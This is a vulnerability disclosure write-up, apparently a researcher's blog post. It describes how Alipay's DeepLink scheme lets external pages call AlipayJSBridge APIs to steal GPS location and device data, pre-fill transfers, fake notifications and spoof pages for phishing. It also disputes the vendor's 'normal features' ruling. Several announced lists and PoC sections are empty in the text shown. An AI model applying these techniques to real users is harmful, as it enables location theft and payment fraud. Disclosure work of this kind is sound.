We followed responsible disclosure principles throughout. Before any public discussion, full reports were submitted to Ant Group through multiple channels.

Alipay's alipays:// DeepLink scheme allows any third-party app or webpage to direct users into Alipay's Nebula WebView container, loading attacker-controlled external web pages. Once loaded, the attacker's JavaScript can call AlipayJSBridge APIs to perform dangerous operations:

• Steal precise GPS location — When location permission is already granted to Alipay, external pages calling getLocation get coordinates with no secondary consent dialog, sent directly to attacker server
• Steal complete device fingerprint — Brand/model/OS/storage/battery/Bluetooth/WiFi/permissions, 30+ fields
• Open transfer page with pre-filled attacker account and amount (final confirmation still requires user tap, but combined with UI spoofing can greatly reduce vigilance)
• Trigger payment SDK to launch payment UI — tradePay API invokes cashier (user must still confirm, but UI can be highly spoofed)
• Navigate to 18 sensitive internal pages — Transaction history, bank cards, credit score, withdrawal, family accounts, etc.
• Display fake transfer notifications — Forge "Transfer CNY 5,000 to Zhang*Ming completed" inside Alipay
• Spoof title bar to "Security Center" — Enhance phishing credibility
• Redirect to Alipay login page — Create perfect credential phishing entry point
• Chain-load more malicious pages — Each new page can call all APIs again

Attack prerequisites are minimal: victim only needs to click one link. No root, no jailbreak, no app installation required. The link can be distributed via SMS, WeChat, QQ, email, QR codes, or any other channel.

The following DeepLinks, when triggered from a browser or any third-party app, cause Alipay to navigate without any additional warning directly to sensitive function pages:

Below are live PoC pages you can test (sanitized, no data collection):

All issues below were verified end-to-end on real devices, with server logs and screenshots as evidence. Each finding includes verification status and evidence type.

Below are actual data received by the attacker server. These logs were recorded at the data collection endpoint on innora.ai, proving data was indeed exfiltrated from Alipay WebView to an external server.

All attack chains were independently verified on 3 real devices across Android and iOS platforms:

API permissions on iPhone are more permissive than Android, creating a larger attack surface:

To be objective, Alipay's security architecture does have some working defensive measures. The following APIs are correctly blocked from external domains (returning permission denied):

This demonstrates that Alipay has the capability to implement domain whitelisting and permission controls at the JSBridge level. The APIs involved in the 17 issues above simply haven't been added to the same permission control mechanism yet.

Our Response

We fully respect the vendor's judgment. However, the following facts do not change based on the classification decision:

1. Data was indeed exfiltrated. The 308 server log entries are not simulated. GPS coordinates 5.460012, 100.314139 were indeed transmitted from Alipay WebView to our server. This fact is independent of whether it's classified as a "vulnerability."
2. The transfer page was indeed triggered externally. startApp returned success: true, the transfer page opened, and the attacker's account was pre-filled. This fact is independent of the classification.
3. Users are not adequately informed. The "Continue to visit" warning does not tell users: "This website will gain the ability to call Alipay internal APIs, including reading your GPS location, opening transfer pages, etc." Users don't know what clicking "Continue" means.
4. Defense mechanism inconsistency. If clipboard and getUserInfo are correctly blocked, why don't getLocation and startApp receive the same protection? The inconsistent treatment of different APIs within the same security framework at minimum indicates room for improvement.
5. Test account was banned. If these are all "normal features," why did our test account trigger risk controls when using these "normal features"? This itself indicates the system considers these behaviors abnormal.
6. Right to public discussion. Since the vendor officially confirmed these are not security vulnerabilities but "normal features," discussing the security implications of Alipay's "normal features" should be entirely appropriate.

We publish this technical analysis not to argue about whether something is a "vulnerability." We are simply publicly describing a fact: an attacker can, through a single link, obtain GPS location from Alipay, open transfer pages, and display fake notifications — without the user understanding the consequences. Readers can judge for themselves whether this is a security concern worth attention.

Despite the vendor classifying these as "normal features," we still offer the following technical recommendations for consideration: